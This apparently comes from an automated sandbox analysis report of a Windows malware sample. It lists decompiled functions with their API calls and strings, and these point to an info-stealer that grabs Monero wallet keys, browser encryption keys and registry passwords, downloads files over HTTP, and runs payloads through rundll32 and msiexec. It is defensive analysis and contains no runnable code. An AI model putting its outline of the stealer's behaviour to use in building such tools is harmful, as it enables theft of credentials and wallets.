Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 38ec6cb678058ea299694c008ddcda0b50fbc4e7fbf5c8680dd9fce1f5b0653e
Instruction ID: c326b929c4536ecf254631d36ffca346321c425d09e6198f1bbc7f7c0d19a6a4
Opcode Fuzzy Hash: 38ec6cb678058ea299694c008ddcda0b50fbc4e7fbf5c8680dd9fce1f5b0653e
Instruction Fuzzy Hash: F771DB71910608EBDB14EBE4DC89FEEB7BDAB88701F108508F51AA7290DB74A945CB61

Function 00142E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

ShellExecuteEx.SHELL32(0000003C), ref: 001431C5
ShellExecuteEx.SHELL32(0000003C), ref: 0014335D
ShellExecuteEx.SHELL32(0000003C), ref: 001434EA

Strings

/passive, xrefs: 0014345B
<, xrefs: 00143490
C:\Windows\system32\rundll32.exe, xrefs: 00143332
"" , xrefs: 0014309A
/i ", xrefs: 001433E4
C:\Windows\system32\msiexec.exe, xrefs: 001434BF
.dll, xrefs: 001431E5
.msi, xrefs: 00143398

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 5b878fbbe4d0c6eb1600c2574b26ec533e66ce78d2a8d3c8085ef3cd312c656d
Instruction ID: 6c243f2e80322c3237a2f9fdbd5aed1667856a8861ae1b6a3382f5256eb7577b
Opcode Fuzzy Hash: 5b878fbbe4d0c6eb1600c2574b26ec533e66ce78d2a8d3c8085ef3cd312c656d
Instruction Fuzzy Hash: 0B123371880109AAEB19FBA0DC92FEDB778EF24305F914159F506761A1EF302B4ACF52

Function 001452C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 00136280: InternetOpenA.WININET(00150DFE,00000001,00000000,00000000,00000000), ref: 001362E1
Part of subcall function 00136280: StrCmpCA.SHLWAPI(?,0102E470), ref: 00136303
Part of subcall function 00136280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00136335
Part of subcall function 00136280: HttpOpenRequestA.WININET(00000000,GET,?,0102DA58,00000000,00000000,00400100,00000000), ref: 00136385
Part of subcall function 00136280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001363BF
Part of subcall function 00136280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001363D1

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00145318
lstrlen.KERNEL32(00000000), ref: 0014532F

Part of subcall function 00148E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00148E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00145364
lstrlen.KERNEL32(00000000), ref: 00145383
lstrlen.KERNEL32(00000000), ref: 001453AE

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Strings

ERROR, xrefs: 0014530A
ERROR, xrefs: 00145432
ERROR, xrefs: 001453B9
ERROR, xrefs: 001454A9
ERROR, xrefs: 0014546F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8393c2d895c0e99551b6e1f7fcac02f253d554ad5aad35ed94a3eccfe525e9be
Instruction ID: 53729c6094a3f5f17a93d30532a3bcf99e9f5e1b2b8dff15b3a8cba6d22f787e
Opcode Fuzzy Hash: 8393c2d895c0e99551b6e1f7fcac02f253d554ad5aad35ed94a3eccfe525e9be
Instruction Fuzzy Hash: 38513170950149EBDB18FF60CD92AED7779EF60305F914018F80A5B5A2EF346B46CBA2

Function 001412D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 8bc0e9e0680f8dcff002290b95d739dec837428138d2678031f3479859bd6bd7
Instruction ID: 0a1881e1e4c0ce79a018cd5bb1cdd6200ef93e878b3e04a28637ab99aaa063b8
Opcode Fuzzy Hash: 8bc0e9e0680f8dcff002290b95d739dec837428138d2678031f3479859bd6bd7
Instruction Fuzzy Hash: 1DC175B594011DABCB14EF60DC89FEE7379BFA4304F104598F50AA7251DB70AA85CF91

Function 00144280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00148DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00148E0B

lstrcat.KERNEL32(?,00000000), ref: 001442EC
lstrcat.KERNEL32(?,0102DF80), ref: 0014430B
lstrcat.KERNEL32(?,?), ref: 0014431F
lstrcat.KERNEL32(?,0102CF28), ref: 00144333

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 00148D90: GetFileAttributesA.KERNEL32(00000000,?,00131B54,?,?,0015564C,?,?,00150E1F), ref: 00148D9F

Part of subcall function 00139CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00139D39

Part of subcall function 001399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001399EC
Part of subcall function 001399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00139A11
Part of subcall function 001399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00139A31
Part of subcall function 001399C0: ReadFile.KERNEL32(000000FF,?,00000000,0013148F,00000000), ref: 00139A5A
Part of subcall function 001399C0: LocalFree.KERNEL32(0013148F), ref: 00139A90
Part of subcall function 001399C0: CloseHandle.KERNEL32(000000FF), ref: 00139A9A

Part of subcall function 001493C0: GlobalAlloc.KERNEL32(00000000,001443DD,001443DD), ref: 001493D3

StrStrA.SHLWAPI(?,0102DF20), ref: 001443F3
GlobalFree.KERNEL32(?), ref: 00144512

Part of subcall function 00139AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00134EEE,00000000,00000000), ref: 00139AEF
Part of subcall function 00139AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00134EEE,00000000,?), ref: 00139B01
Part of subcall function 00139AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00134EEE,00000000,00000000), ref: 00139B2A
Part of subcall function 00139AC0: LocalFree.KERNEL32(?,?,?,?,00134EEE,00000000,?), ref: 00139B3F

lstrcat.KERNEL32(?,00000000), ref: 001444A3
StrCmpCA.SHLWAPI(?,001508D1), ref: 001444C0
lstrcat.KERNEL32(00000000,00000000), ref: 001444D2
lstrcat.KERNEL32(00000000,?), ref: 001444E5
lstrcat.KERNEL32(00000000,00150FB8), ref: 001444F4

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 0aec86e0198da73ac8a947522025f3145f89156edd1511948ec17f73a3e7b743
Instruction ID: 360bed47d88284c50d62f6d70ccbbcebce0fdcb2053b7490a374f46191eff487
Opcode Fuzzy Hash: 0aec86e0198da73ac8a947522025f3145f89156edd1511948ec17f73a3e7b743
Instruction Fuzzy Hash: 0C7174B6900608BBDB14EBE0DC85FEE777DAB98301F004598F61997191EB34DB49CB92

Function 00131310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001312B4
Part of subcall function 001312A0: RtlAllocateHeap.NTDLL(00000000), ref: 001312BB
Part of subcall function 001312A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001312D7
Part of subcall function 001312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001312F5
Part of subcall function 001312A0: RegCloseKey.ADVAPI32(?), ref: 001312FF

lstrcat.KERNEL32(?,00000000), ref: 0013134F
lstrlen.KERNEL32(?), ref: 0013135C
lstrcat.KERNEL32(?,.keys), ref: 00131377

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 00148B60: GetSystemTime.KERNEL32(00150E1A,01029918,001505AE,?,?,001313F9,?,0000001A,00150E1A,00000000,?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 00148B86

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00131465

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001399EC
Part of subcall function 001399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00139A11
Part of subcall function 001399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00139A31
Part of subcall function 001399C0: ReadFile.KERNEL32(000000FF,?,00000000,0013148F,00000000), ref: 00139A5A
Part of subcall function 001399C0: LocalFree.KERNEL32(0013148F), ref: 00139A90
Part of subcall function 001399C0: CloseHandle.KERNEL32(000000FF), ref: 00139A9A

DeleteFileA.KERNEL32(00000000), ref: 001314EF

Strings

\Monero\wallet.keys, xrefs: 0013138D
wallet_path, xrefs: 00131330
.keys, xrefs: 0013136B
SOFTWARE\monero-project\monero-core, xrefs: 00131335

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: b3b11a0b5b041cb0a1e642b4f12dd3d2330aad6a986c5a5d6b34824266675d77
Instruction ID: 1fa33b9136c0abdf12eee73a7ae4e81db3281336fa751c6cf5c7f047dc35aa8c
Opcode Fuzzy Hash: b3b11a0b5b041cb0a1e642b4f12dd3d2330aad6a986c5a5d6b34824266675d77
Instruction Fuzzy Hash: 1F5146B1D9011997DB15FB60DD92BED733CEF64305F814198B60A62092EF305B89CBA6

Function 001375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001372D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0013733A
Part of subcall function 001372D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001373B1
Part of subcall function 001372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0013740D
Part of subcall function 001372D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00137452
Part of subcall function 001372D0: HeapFree.KERNEL32(00000000), ref: 00137459

lstrcat.KERNEL32(00000000,001517FC), ref: 00137606
lstrcat.KERNEL32(00000000,00000000), ref: 00137648
lstrcat.KERNEL32(00000000, : ), ref: 0013765A
lstrcat.KERNEL32(00000000,00000000), ref: 0013768F
lstrcat.KERNEL32(00000000,00151804), ref: 001376A0
lstrcat.KERNEL32(00000000,00000000), ref: 001376D3
lstrcat.KERNEL32(00000000,00151808), ref: 001376ED
task.LIBCPMTD ref: 001376FB

Strings

: , xrefs: 0013764E

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 0eb1667a05e43f717311bb27b40eb5b598e0f02a04747e763e215f809cfdf3b4
Instruction ID: dd5e615c753874be8384886eb0fe1dc7fc66eca9afc0f181ea93f50d1e8d724a
Opcode Fuzzy Hash: 0eb1667a05e43f717311bb27b40eb5b598e0f02a04747e763e215f809cfdf3b4
Instruction Fuzzy Hash: 1E3150B1900509EFCB29EBE4DC56EFF7778BB94302F104118F116A7290DB34A986CB52

Function 00148100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0102DD70,00000000,?,00150E2C,00000000,?,00000000), ref: 00148130
RtlAllocateHeap.NTDLL(00000000), ref: 00148137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00148158
__aulldiv.LIBCMT ref: 00148172
__aulldiv.LIBCMT ref: 00148180
wsprintfA.USER32 ref: 001481AC

Strings

%d MB, xrefs: 001481A3
@, xrefs: 0014814D

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 442d42bedb3ed296bdec53bd6b89c1da400e142e170f7c8474c523099f196714
Instruction ID: 48b1e7334e51ecdc54b07fb1bbf6b29cc0ee087c1830487d6699a4173f90edaa
Opcode Fuzzy Hash: 442d42bedb3ed296bdec53bd6b89c1da400e142e170f7c8474c523099f196714
Instruction Fuzzy Hash: 65215CB1E44608ABDB10DFD4DC49FAFBBB8FB44B04F204209F605BB290C77869018BA5

Function 001360A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00134839
Part of subcall function 001347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00134849

InternetOpenA.WININET(00150DF7,00000001,00000000,00000000,00000000), ref: 0013610F
StrCmpCA.SHLWAPI(?,0102E470), ref: 00136147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0013618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 001361B3
InternetReadFile.WININET(?,?,00000400,?), ref: 001361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0013620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00136249
InternetCloseHandle.WININET(?), ref: 00136253
InternetCloseHandle.WININET(00000000), ref: 00136260

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 51ee8385ae17ae5db7b10c580a2eb4ba799b3a8b1cef7f1e908014fbdc588643
Instruction ID: a9f40e8904d1fdb7ff34cedb237bd74aab06b6cbc149e48d8f82fec3ccbbc6ec
Opcode Fuzzy Hash: 51ee8385ae17ae5db7b10c580a2eb4ba799b3a8b1cef7f1e908014fbdc588643
Instruction Fuzzy Hash: 1C5171B1940218ABEB24DF90DC45BEE77B8FF44705F118098B609A71C1DB74AA85CFA5

Function 001372D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0013733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001373B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0013740D
